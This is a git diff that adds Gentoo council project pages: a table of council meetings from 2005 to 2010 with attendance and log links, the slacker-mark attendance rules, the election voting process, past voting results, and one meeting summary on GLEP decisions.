+		<ti></ti>
+		<ti><uri link="meeting-logs/20100714.txt">20100714</uri></ti>
+		<ti><uri link="meeting-logs/20100714-summary.txt">20100714</uri></ti>
+	</tr>
+	<tr>
+		<ti>June 14, 2010</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, scarabeus (proxied by wired), solar (proxied by ferringb)</ti>
+		<ti>ulm</ti>
+		<ti><uri link="meeting-logs/20100614.txt">20100614</uri></ti>
+		<ti><uri link="meeting-logs/20100614-summary.txt">20100614</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 17, 2010</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, scarabeus, solar, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20100517.txt">20100517</uri></ti>
+		<ti><uri link="meeting-logs/20100517-summary.txt">20100517</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 19, 2010</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, scarabeus, solar, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20100419.txt">20100419</uri></ti>
+		<ti><uri link="meeting-logs/20100419-summary.txt">20100419</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 8, 2010</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, scarabeus, solar, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20100308.txt">20100308</uri></ti>
+		<ti><uri link="meeting-logs/20100308-summary.txt">20100308</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 8, 2010</ti>
+		<ti>betelgeuse, calchan, leio, scarabeus, solar, ulm</ti>
+		<ti>dertobi123</ti>
+		<ti><uri link="meeting-logs/20100208.txt">20100208</uri></ti>
+		<ti><uri link="meeting-logs/20100208-summary.txt">20100208</uri></ti>
+	</tr>
+	<tr>
+		<ti>January 18, 2010</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio (proxied by wired), scarabeus, solar, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20100118.txt">20100118</uri></ti>
+		<ti><uri link="meeting-logs/20100118-summary.txt">20100118</uri></ti>
+	</tr>
+	<tr>
+		<ti>December 7, 2009</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, solar, ulm</ti>
+		<ti>lu_zero (loses his council seat)</ti>
+		<ti><uri link="meeting-logs/20091207.txt">20091207</uri></ti>
+		<ti><uri link="meeting-logs/20091207-summary.txt">20091207</uri></ti>
+	</tr>
+	<tr>
+		<ti>November 9, 2009</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, lu_zero, solar (proxied by patrick), ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20091109.txt">20091109</uri></ti>
+		<ti><uri link="meeting-logs/20091109-summary.txt">20091109</uri></ti>
+	</tr>
+	<tr>
+		<ti>October 12, 2009</ti>
+		<ti>betelgeuse, calchan (proxied by weaver), dertobi123, leio, lu_zero, solar, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20091012.txt">20091012</uri></ti>
+		<ti><uri link="meeting-logs/20091012-summary.txt">20091012</uri></ti>
+	</tr>
+	<tr>
+		<ti>September 14, 2009</ti>
+		<ti>betelgeuse, dertobi123, leio, lu_zero, solar, ulm</ti>
+		<ti>calchan</ti>
+		<ti><uri link="meeting-logs/20090914.txt">20090914</uri></ti>
+		<ti><uri link="meeting-logs/20090914-summary.txt">20090914</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 17, 2009</ti>
+		<ti>calchan, dertobi123, leio, solar (proxied by ssuominen), ulm</ti>
+		<ti>betelgeuse, lu_zero (receives a slacker mark)</ti>
+		<ti><uri link="meeting-logs/20090817.txt">20090817</uri></ti>
+		<ti><uri link="meeting-logs/20090817-summary.txt">20090817</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 20, 2009</ti>
+		<ti>betelgeuse, calchan, dertobi123, leio, solar, ulm</ti>
+		<ti>lu_zero</ti>
+		<ti><uri link="meeting-logs/20090720.txt">20090720</uri></ti>
+		<ti><uri link="meeting-logs/20090720-summary.txt">20090720</uri></ti>
+	</tr>
+	<tr>
+		<ti>June 11, 2009</ti>
+		<ti>cardoe, betelgeuse, dertobi123, dev-zero, leio, lu_zero, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20090611.txt">20090611</uri></ti>
+		<ti><uri link="meeting-logs/20090611-summary.txt">20090611</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 28, 2009</ti>
+		<ti>cardoe, betelgeuse, dertobi123, dev-zero, leio, lu_zero, ulm</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20090528.txt">20090528</uri></ti>
+		<ti><uri link="meeting-logs/20090528-summary.txt">20090528</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 14, 2009</ti>
+		<ti>betelgeuse, dberkholz (proxied by ssuominen), dertobi123 (proxied by ulm), dev-zero, leio, lu_zero</ti>
+		<ti>cardoe (receives slacker mark)</ti>
+		<ti><uri link="meeting-logs/20090514.txt">20090514</uri></ti>
+		<ti><uri link="meeting-logs/20090514-summary.txt">20090514</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 23, 2009</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, dev-zero, leio, lu_zero</ti>
+		<ti>cardoe</ti>
+		<ti><uri link="meeting-logs/20090423.txt">20090423</uri></ti>
+		<ti><uri link="meeting-logs/20090423-summary.txt">20090423</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 09, 2009</ti>
+		<ti>cardoe, betelgeuse, dberkholz, dertobi123, dev-zero, leio, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20090409.txt">20090409</uri></ti>
+		<ti><uri link="meeting-logs/20090409-summary.txt">20090409</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 26, 2009</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, dev-zero, leio, lu_zero</ti>
+		<ti>cardoe</ti>
+		<ti><uri link="meeting-logs/20090326.txt">20090326</uri></ti>
+		<ti><uri link="meeting-logs/20090326-summary.txt">20090326</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 12, 2009</ti>
+		<ti>betelgeuse, cardoe, dberkholz, dertobi123, dev-zero, leio, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20090312.txt">20090312</uri></ti>
+		<ti><uri link="meeting-logs/20090312-summary.txt">20090312</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 26, 2009</ti>
+		<ti>betelgeuse, cardoe, dberkholz, dertobi123, dev-zero, leio, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20090226.txt">20090226</uri></ti>
+		<ti><uri link="meeting-logs/20090226-summary.txt">20090226</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 12, 2009</ti>
+		<ti>betelgeuse, cardoe, dberkholz, dertobi123, dev-zero, lu_zero</ti>
+		<ti>halcy0n</ti>
+		<ti><uri link="meeting-logs/20090212.txt">20090212</uri></ti>
+		<ti><uri link="meeting-logs/20090212-summary.txt">20090212</uri></ti>
+	</tr>
+	<tr>
+		<ti>December 11, 2008</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, dev-zero, halcy0n, lu_zero</ti>
+		<ti>cardoe</ti>
+		<ti><uri link="meeting-logs/20081211.txt">20081211</uri></ti>
+		<ti><uri link="meeting-logs/20081211-summary.txt">20081211</uri></ti>
+	</tr>
+	<tr>
+		<ti>November 13, 2008</ti>
+		<ti>Betelgeuse, Cardoe, dertobi123, lu_zero</ti>
+		<ti>dberkholz(40 minutes late), Halcy0n, jokey(slacker mark)</ti>
+		<ti><uri link="meeting-logs/20081113.txt">20081113</uri></ti>
+		<ti><uri link="meeting-logs/20081113-summary.txt">20081113</uri></ti>
+	</tr>
+	<tr>
+		<ti>October 23, 2008</ti>
+		<ti>betelgeuse, cardoe, dberkholz, dertobi123, halcy0n, lu_zero</ti>
+		<ti>jokey</ti>
+		<ti><uri link="meeting-logs/20081023.log">20081023</uri></ti>
+		<ti><uri link="meeting-logs/20081023-summary.txt">20081023</uri></ti>
+	</tr>
+	<tr>
+		<ti>September 25, 2008</ti>
+		<ti>betelgeuse, cardoe (proxied by dang), dberkholz, dertobi123, halcy0n, jokey</ti>
+		<ti>lu_zero (health issues, no slacker mark)</ti>
+		<ti><uri link="meeting-logs/20080925.txt">20080925</uri></ti>
+		<ti><uri link="meeting-logs/20080925-summary.txt">20080925</uri></ti>
+	</tr>
+	<tr>
+		<ti>September 11, 2008</ti>
+		<ti>betelgeuse (proxied by calchan), dberkholz, dertobi123, halcy0n</ti>
+		<ti>jokey, lu_zero</ti>
+		<ti><uri link="meeting-logs/20080911.txt">20080911</uri></ti>
+		<ti><uri link="meeting-logs/20080911-summary.txt">20080911</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 28, 2008</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, flameeyes (proxied by cardoe), halcy0n, jokey, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20080828.txt">20080828</uri></ti>
+		<ti><uri link="meeting-logs/20080828-summary.txt">20080828</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 14, 2008</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, flameeyes (proxied by cardoe), halcy0n, jokey, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20080814.txt">20080814</uri></ti>
+		<ti><uri link="meeting-logs/20080814-summary.txt">20080814</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 24, 2008</ti>
+		<ti>betelgeuse (proxied by caster), dberkholz (proxied by musikc), dertobi123, halcy0n, jokey, lu_zero</ti>
+		<ti>flameeyes (personal problems, no slacker mark)</ti>
+		<ti><uri link="meeting-logs/20080724.txt">20080724</uri></ti>
+		<ti><uri link="meeting-logs/20080724-summary.txt">20080724</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 10, 2008</ti>
+		<ti>betelgeuse, dberkholz, dertobi123, flameeyes, halcy0n, jokey, lu_zero</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20080710.txt">20080710</uri></ti>
+		<ti><uri link="meeting-logs/20080710-summary.txt">20080710</uri></ti>
+	</tr>
+	<tr>
+		<ti>June 12, 2008</ti>
+		<ti>amne, betelgeuse, dberkholz, flameeyes (proxied by cardoe), jokey, lu_zero</ti>
+		<ti>vapier</ti>
+		<ti><uri link="meeting-logs/20080612.txt">20080612</uri></ti>
+		<ti><uri link="meeting-logs/20080612-summary.txt">20080612</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 8, 2008</ti>
+		<ti>betelgeuse, dberkholz, flameeyes, jokey, lu_zero, vapier (proxied by solar)</ti>
+		<ti>amne</ti>
+		<ti><uri link="meeting-logs/20080508.txt">20080508</uri></ti>
+		<ti><uri link="meeting-logs/20080508-summary.txt">20080508</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 10, 2008</ti>
+		<ti>amne, betelgeuse, dberkholz, flameeyes (proxied by tsunam), jokey, vapier</ti>
+		<ti>lu_zero</ti>
+		<ti><uri link="meeting-logs/20080410.txt">20080410</uri></ti>
+		<ti><uri link="meeting-logs/20080410-summary.txt">20080410</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 13, 2008</ti>
+		<ti>amne, betelgeuse, flameeyes, jokey, lu_zero, vapier</ti>
+		<ti>dberkholz (39 min. late, slacker mark)</ti>
+		<ti><uri link="meeting-logs/20080313.txt">20080313</uri></ti>
+		<ti><uri link="meeting-logs/20080313-summary.txt">20080313</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 14, 2008</ti>
+		<ti>amne, betelgeuse, dberkholz, flameeyes, jokey, lu_zero, vapier (proxied by halcy0n)</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20080214.txt">20080214</uri></ti>
+		<ti><uri link="meeting-logs/20080214-summary.txt">20080214</uri></ti>
+	</tr>
+	<tr>
+		<ti>January 08, 2008</ti>
+		<ti>amne, betelgeuse, dberkholz (proxied by musikc), flameeyes, jokey, lu_zero, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20080110.txt">20080110</uri></ti>
+		<ti><uri link="meeting-logs/20080110-summary.txt">20080110</uri></ti>
+	</tr>
+	<tr>
+		<ti>December 13, 2007</ti>
+		<ti>amne, betelgeuse, dberkholz, flameeyes, jokey, lu_zero, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20071213.txt">20071213</uri></ti>
+		<ti><uri link="meeting-logs/20071213-summary.txt">20071213</uri></ti>
+	</tr>
+	<tr>
+		<ti>November 8, 2007</ti>
+		<ti>amne, betelgeuse (1 hour late), dberkholz, flameeyes, lu_zero</ti>
+		<ti>vapier (no slacker mark, daylight savings)</ti>
+		<ti><uri link="meeting-logs/20071108.txt">20071108</uri></ti>
+		<ti><uri link="meeting-logs/20071108-summary.txt">20071108</uri></ti>
+	</tr>
+	<tr>
+		<ti>October 11, 2007</ti>
+		<ti>amne, betelgeuse, dberkholz, flameeyes, lu_zero (proxied by josejx), uberlord, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20071011.txt">20071011</uri></ti>
+		<ti><uri link="meeting-logs/20071011-summary.txt">20071011</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 16, 2007</ti>
+		<ti>KingTaco, kugelfang, robbat2, UberLord, vapier, wolf31o2</ti>
+		<ti>jaervosz</ti>
+		<ti><uri link="meeting-logs/20070816.txt">20070816</uri></ti>
+		<ti><uri link="meeting-logs/20070816-summary.txt">20070816</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 12, 2007</ti>
+		<ti>KingTaco, kugelfang (proxied by spb), robbat2, UberLord, wolf31o2</ti>
+		<ti>jaervosz, vapier</ti>
+		<ti><uri link="meeting-logs/20070712.txt">20070712</uri></ti>
+		<ti><uri link="meeting-logs/20070712-summary.txt">20070712</uri></ti>
+	</tr>
+	<tr>
+		<ti>June 14, 2007</ti>
+		<ti>KingTaco, jaervosz, robbat2, UberLord (proxied by Flameeyes), vapier, wolf31o2 (proxied by agaffney)</ti>
+		<ti>Kugelfang</ti>
+		<ti><uri link="meeting-logs/20070614.txt">20070614</uri></ti>
+		<ti><uri link="meeting-logs/20070614-summary.txt">20070614</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 10, 2007</ti>
+		<ti>KingTaco, kloeri, Kugelfang (proxied by fmccor), robbat2, UberLord, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20070510.txt">20070510</uri></ti>
+		<ti><uri link="meeting-logs/20070510-summary.txt">20070510</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 24, 2007 (impromptu meeting on multiple version suffixes)</ti>
+		<ti>kloeri, Kugelfang, robbat2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20070424.txt">20070424</uri></ti>
+		<ti><uri link="meeting-logs/20070424-summary.txt">20070424</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 12, 2007</ti>
+		<ti>KingTaco, kloeri, Kugelfang, robbat2, UberLord, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20070412.txt">20070412</uri></ti>
+		<ti><uri link="meeting-logs/20070412-summary.txt">20070412</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 15, 2007 (CoC special meeting)</ti>
+		<ti>KingTaco, kloeri, Kugelfang, robbat2, UberLord, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20070315.txt">20070308</uri></ti>
+		<ti><uri link="meeting-logs/20070315-summary.txt">20070308</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 8, 2007</ti>
+		<ti>KingTaco, kloeri, Kugelfang, robbat2, UberLord, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20070308.txt">20070308</uri></ti>
+		<ti><uri link="meeting-logs/20070308-summary.txt">20070308</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 8, 2007</ti>
+		<ti>Flameeyes, KingTaco, kloeri, Kugelfang (proxied by spb), vapier, wolf31o2</ti>
+		<ti>robbat2</ti>
+		<ti><uri link="meeting-logs/20070208.txt">20070208</uri></ti>
+		<ti><uri link="meeting-logs/20070208-summary.txt">20070208</uri></ti>
+	</tr>
+	<tr>
+		<ti>January 11, 2007</ti>
+		<ti>Flameeyes (proxied by UberLord), KingTaco, kloeri, Kugelfang, robbat2, wolf31o2</ti>
+		<ti>vapier</ti>
+		<ti><uri link="meeting-logs/20070111.txt">20070111</uri></ti>
+		<ti><uri link="meeting-logs/20070111-summary.txt">20070111</uri></ti>
+	</tr>
+	<tr>
+		<ti>December 14, 2006</ti>
+		<ti>Flameeyes, KingTaco, kloeri, Kugelfang, robbat2, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20061214.txt">20061214</uri></ti>
+		<ti><uri link="meeting-logs/20061214-summary.txt">20061214</uri></ti>
+	</tr>
+	<tr>
+		<ti>November 9, 2006</ti>
+		<ti>Flameeyes, KingTaco, kloeri, Kugelfang, robbat2, vapier, wolf31o2 (proxied by agaffney)</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20061109.txt">20061109</uri></ti>
+		<ti><uri link="meeting-logs/20061109-summary.txt">20061109</uri></ti>
+	</tr>
+	<tr>
+		<ti>October 19, 2006</ti>
+		<ti>Flameeyes, KingTaco, kloeri, Kugelfang, robbat2, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20061019.txt">20061019</uri></ti>
+		<ti><uri link="meeting-logs/20061019-summary.txt">20061019</uri></ti>
+	</tr>
+	<tr>
+		<ti>September 14, 2006</ti>
+		<ti>Flameeyes, KingTaco, kloeri, Kugelfang, robbat2, vapier, wolf31o2</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20060914.txt">20060914</uri></ti>
+		<ti><uri link="meeting-logs/20060914-summary.txt">20060914</uri></ti>
+	</tr>
+	<tr>
+		<ti>August 17, 2006</ti>
+		<ti>Koon, solar, SwifT, agriffis, seemant</ti>
+		<ti>azarah, vapier</ti>
+		<ti><uri link="meeting-logs/20060817.txt">20060817</uri></ti>
+		<ti><uri link="meeting-logs/20060817-summary.txt">20060817</uri></ti>
+	</tr>
+	<tr>
+		<ti>July 20, 2006</ti>
+		<ti>azarah, Koon, solar, SwifT, vapier</ti>
+		<ti>agriffis, seemant</ti>
+		<ti><uri link="meeting-logs/20060720.txt">20060720</uri></ti>
+		<ti><uri link="meeting-logs/20060720-summary.txt">20060720</uri></ti>
+	</tr>
+	<tr>
+		<ti>June 15, 2006</ti>
+		<ti>Koon, seemant, solar, SwifT, vapier</ti>
+		<ti>agriffis, azarah</ti>
+		<ti><uri link="meeting-logs/20060615.txt">20060615</uri></ti>
+		<ti><uri link="meeting-logs/20060615-summary.txt">20060615</uri></ti>
+	</tr>
+	<tr>
+		<ti>May 11, 2006</ti>
+		<ti>agriffis, azarah, seemant, solar, SwifT, vapier</ti>
+		<ti>Koon</ti>
+		<ti><uri link="meeting-logs/20060511.txt">20060511</uri></ti>
+		<ti><uri link="meeting-logs/20060511-summary.txt">20060511</uri></ti>
+	</tr>
+	<tr>
+		<ti>April 20, 2006</ti>
+		<ti>agriffis, azarah (proxied by UberLord), Koon, seemant, solar, SwifT (proxied by fox2mike), vapier (proxied by JoseJX)</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20060420.txt">20060309</uri></ti>
+		<ti><uri link="meeting-logs/20060420-summary.txt">20060309</uri></ti>
+	</tr>
+	<tr>
+		<ti>March 9, 2006</ti>
+		<ti>agriffis, Koon, seemant (proxied by dsd), solar (proxied by cshields), SwifT, vapier</ti>
+		<ti>azarah</ti>
+		<ti><uri link="meeting-logs/20060309.txt">20060309</uri></ti>
+		<ti><uri link="meeting-logs/20060309-summary.txt">20060309</uri></ti>
+	</tr>
+	<tr>
+		<ti>February 9, 2006</ti>
+		<ti>agriffis, azarah, Koon, seemant, solar, SwifT, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20060209.txt">20060209</uri></ti>
+		<ti><uri link="meeting-logs/20060209-summary.txt">20060209</uri></ti>
+	</tr>
+	<tr>
+		<ti>January 12, 2006</ti>
+		<ti>agriffis, Koon, seemant, solar, SwifT, vapier</ti>
+		<ti>azarah</ti>
+		<ti><uri link="meeting-logs/20060112.txt">20060112</uri></ti>
+		<ti><uri link="meeting-logs/20060112-summary.txt">20060112</uri></ti>
+	</tr>
+	<tr>
+		<ti>December 15, 2005</ti>
+		<ti>agriffis, azarah (proxied by vapier), Koon (proxied by jaervosz), seemant, solar, SwifT, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20051215.txt">20051215</uri></ti>
+		<ti><uri link="meeting-logs/20051215-summary.txt">20051215</uri></ti>
+	</tr>
+	<tr>
+		<ti>November 15, 2005</ti>
+		<ti>azarah, Koon, seemant, solar, SwifT, vapier</ti>
+		<ti>agriffis</ti>
+		<ti><uri link="meeting-logs/20051115.txt">20051115</uri></ti>
+		<ti><uri link="meeting-logs/20051115-summary.txt">20051115</uri></ti>
+	</tr>
+	<tr>
+		<ti>October 13, 2005</ti>
+		<ti>agriffis, azarah, Koon, seemant, solar (proxied by azarah), SwifT, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20051013.txt">20051013</uri></ti>
+		<ti><uri link="meeting-logs/20051013-summary.txt">20051013</uri></ti>
+	</tr>
+	<tr>
+		<ti>September 15, 2005</ti>
+		<ti>agriffis, azarah, Koon, seemant, solar, SwifT, vapier</ti>
+		<ti></ti>
+		<ti><uri link="meeting-logs/20050915.txt">20050915</uri></ti>
+		<ti><uri link="meeting-logs/20050915-summary.txt">20050915</uri></ti>
+	</tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="subproject">
+<title>Slacker marks</title>
+<section>
+	<title>Rationale</title>
+	<body>
+	<p>
+	To ensure that the council stays active, the chosen metastructure
+	model says that if a council member (or their appointed proxy) fails
+	to show up for two consecutive meetings, they are marked as a slacker.
+	</p>
+	<p>
+	If a council member who has been marked a slacker misses any further
+	meeting (or their appointed proxy doesn't show up), they lose their
+	position and a new election is held to replace that person. The
+	'slacker' marker is reset when a member is elected.
+	</p>
+	<p>
+	If any meeting has less than 50% attendance by council members, a new
+	election for all places must be held within a month.
+	</p>
+	</body>
+</section>
+
+<section>
+	<title>Current slacker status</title>
+	<body>
+	<p>
+	  none
+	</p>
+	</body>
+</section>
+
+</extrachapter>
+
+<extrachapter>
+<title>Voting Process</title>
+<section>
+	<title>Mundane Details</title>
+	<body>
+
+	<ul>
+	<li>Council elections generally happen once a year</li>
+	<li>The council is composed of seven elected members</li>
+	<li>Nominations are allowed from July 1st 0000 UTC to July 31st 2359 UTC</li>
+	<li>Only Gentoo developers may be nominated</li>
+	<li>Anyone can nominate (nominating yourself is OK)</li>
+	<li>Nominees must accept their nomination before voting begins</li>
+	<li>Voting is opened from August 1st 0000 UTC to August 31st 2359 UTC</li>
+	<li>Only Gentoo developers may vote</li>
+	<li>Gentoo uses the <uri link="http://en.wikipedia.org/wiki/Condorcet_method">Condorcet method</uri> of voting</li>
+	</ul>
+
+	</body>
+</section>
+<section>
+	<title>Previous Voting Results</title>
+	<body>
+	<p>
+	The distributions were generated by a ruby script courtesy of Ciaran McCreesh.
+	</p>
+
+	<table>
+	<tr><th>Date</th><th>Raw</th><th>Processed</th></tr>
+
+         <tr>
+                <ti>June 2009</ti>
+                <ti>
+                        <uri link="/proj/en/elections/council/2009/council-200906-master.txt">council-200906-master.txt</uri>
+                        <br/>
+                        <uri link="/proj/en/elections/council/2009/council-200906-rank.txt">council-200906-rank.txt</uri>
+                </ti>
+                <ti>
+                        <uri link="/proj/en/elections/council/2009/council-200906-nominees.xml">council-200906-nominees.xml</uri>
+                        <br/>
+                        <uri link="/proj/en/elections/council/2009/council-200906-vote-distribution.txt">council-200906-vote-distribution.txt</uri>
+                        <uri link="/proj/en/elections/council/2009/council-200906-grapher.rb.txt">council-200906-grapher.rb</uri>
+                        <br/>
+                        <uri link="/proj/en/elections/council/2009/council-200906-results.txt">council-200906-results.txt</uri>
+                </ti>
+        </tr>       
+        <tr>
+                <ti>November 2008</ti>
+                <ti>
+                        <uri link="voting-logs/council-2008b-master.txt">council-2008b-master.txt</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2008b-rank.txt">council-2008b-rank.txt</uri>
+                </ti>
+                <ti>
+                        <uri link="voting-logs/council-2008b-nominees.xml">council-2008b-nominees.xml</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2008b-results.txt">council-2008b-results.txt</uri>
+                </ti>
+        </tr>       
+        <tr>
+                <ti>June 2008</ti>
+                <ti>
+                        <uri link="voting-logs/council-2008-master.txt">council-2008-master.txt</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2008-rank.txt">council-2008-rank.txt</uri>
+                </ti>
+                <ti>
+                        <uri link="voting-logs/council-2008-nominees.xml">council-2008-nominees.xml</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2008-vote-distribution.txt">council-2008-vote-distribution.txt</uri>
+                        <uri link="voting-logs/council-2008-grapher.rb.txt">council-2008-grapher.rb</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2008-results.txt">council-2008-results.txt</uri>
+                </ti>
+        </tr>
+        <tr>
+                <ti>September 2007</ti>
+                <ti>
+                        <uri link="voting-logs/council-2007-master.txt">council-2007-master.txt</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2007-rank.txt">council-2007-rank.txt</uri>
+                </ti>
+                <ti>
+                        <uri link="voting-logs/council-2007-nominees.xml">council-2007-nominees.xml</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2007-vote-distribution.txt">council-2007-vote-distribution.txt</uri>
+                        <uri link="voting-logs/council-2007-grapher.rb.txt">council-2007-grapher.rb</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2007-results.txt">council-2007-results.txt</uri>
+                </ti>
+        </tr>
+        <tr>
+                <ti>September 2006</ti>
+                <ti>
+                        <uri link="voting-logs/council-2006-master.txt">council-2006-master.txt</uri>
+                        <uri link="http://archives.gentoo.org/gentoo-dev/msg_91836.xml">[^</uri>
+                        <uri link="http://article.gmane.org/gmane.linux.gentoo.devel/42246">^]</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2006-rank.txt">council-2006-rank.txt</uri>
+                        <uri link="http://archives.gentoo.org/gentoo-dev/msg_91839.xml">[^</uri>
+                        <uri link="http://article.gmane.org/gmane.linux.gentoo.devel/42250">^]</uri>
+                </ti>
+                <ti>
+                        <uri link="voting-logs/council-2006-nominees.xml">council-2006-nominees.xml</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2006-vote-distribution.txt">council-2006-vote-distribution.txt</uri>
+                        <uri link="voting-logs/council-2006-grapher.rb.txt">council-2006-grapher.rb</uri>
+                        <uri link="http://archives.gentoo.org/gentoo-dev/msg_91847.xml">[^</uri>
+                        <uri link="http://article.gmane.org/gmane.linux.gentoo.devel/42258">^]</uri>
+                        <br/>
+                        <uri link="voting-logs/council-2006-results.txt">council-2006-results.txt</uri>
+                        <uri link="http://archives.gentoo.org/gentoo-dev/msg_91838.xml">[^</uri>
+                        <uri link="http://article.gmane.org/gmane.linux.gentoo.devel/42249">^]</uri>
+                </ti>
+        </tr>
+	<tr>
+		<ti>September 2005</ti>
+		<ti>
+			<uri link="voting-logs/council-2005-master.txt">council-2005-master.txt</uri>
+			<uri link="http://article.gmane.org/gmane.linux.gentoo.devel/30947">[^]</uri>
+			<br/>
+			<uri link="voting-logs/council-2005-rank.txt">council-2005-rank.txt</uri>
+		</ti>
+		<ti>
+			<uri link="voting-logs/council-2005-nominees.html">council-2005-nominees.html</uri> (also links to platforms if any)
+			<br/>
+			<uri link="voting-logs/council-2005-vote-distribution.txt">council-2005-vote-distribution.txt</uri>
+			<uri link="voting-logs/council-2005-grapher.rb.txt">council-2005-grapher.rb</uri>
+			<uri link="http://article.gmane.org/gmane.linux.gentoo.devel/30950">[^]</uri>
+			<br/>
+			<uri link="voting-logs/council-2005-results.txt">council-2005-results.txt</uri>
+			<uri link="http://article.gmane.org/gmane.linux.gentoo.devel/30947">[^]</uri>
+		</ti>
+	</tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<resource link="/proj/en/glep/glep-0039.html">Current metastructure model</resource>
+<resource link="coc.xml">Initial CoC document</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20050915-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20050915-summary.txt
new file mode 100644
index 00000000..5d8800fd
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20050915-summary.txt
@@ -0,0 +1,26 @@
+>1. Official confirmation that the council is inline with
+>   the already-defined roles of devrel and QA and its commitment
+>   to make already-approved GLEPs (including GLEP 31) respected
+>   (Clarification of position asked by many people including
+>   Ciaran McCreesh, Patrick Lauer and Lance Albertson)
+
+Confirmed with the caveat that the council is not taking on
+disciplinary responsibilities.  The QA team should take complaints
+regarding unresolved technical violations to devrel to pursue
+displinary action.
+
+Regarding GLEP 31, the council is in favor of enforcement ASAP,
+provided nano is confirmed to be capable of compliance.  That will set
+the bar to require UTF-8 capable editors for portage work.
+
+(note: agenda reordered per request)
+
+>3. glep40: Standardizing "arch" keywording across all archs
+>   Vote asked by Grant Goodyear
+
+Approved.
+
+>2. glep33: Eclass Restructure/Redesign
+>   Vote asked by Brian Harring
+
+Approved.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20050915.txt b/xml/htdocs/proj/en/council/meeting-logs/20050915.txt
new file mode 100644
index 00000000..72403305
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20050915.txt
